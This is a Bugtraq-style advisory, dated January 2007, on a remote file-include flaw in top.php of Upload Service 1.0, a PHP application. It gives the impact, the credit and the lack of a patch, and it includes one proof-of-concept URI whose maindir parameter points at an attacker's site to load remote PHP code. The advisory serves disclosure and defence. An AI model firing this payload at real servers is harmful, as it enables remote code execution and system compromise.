Upload Service Top.PHP Remote File Include Vulnerability

Bugtraq ID:	22150
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Jan 21 2007 12:00AM
Updated:	Jan 25 2007 04:13PM
Credit:	Ahmad Muammar is credited with the discovery of this vulnerability.
Vulnerable:	Upload Service Upload Service 1.0
Not Vulnerable:

Upload Service Top.PHP Remote File Include Vulnerability

Upload Service is prone to a remote file-include vulnerability.

An attacker can exploit this issue to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may facilitate a compromise of the application and the underlying system; other attacks are also possible.

Upload Service version 1.0 is vulnerable to this issue.

Upload Service Top.PHP Remote File Include Vulnerability

Attackers can exploit this issue through a web client.

The following proof-of-concept URI is available:

http://example.com/upload/top.php?maindir=http://example.com/attacker's site?

Upload Service Top.PHP Remote File Include Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: mailto:[email protected].

Upload Service Top.PHP Remote File Include Vulnerability

References:

• Vendor HomePage (Upload Service)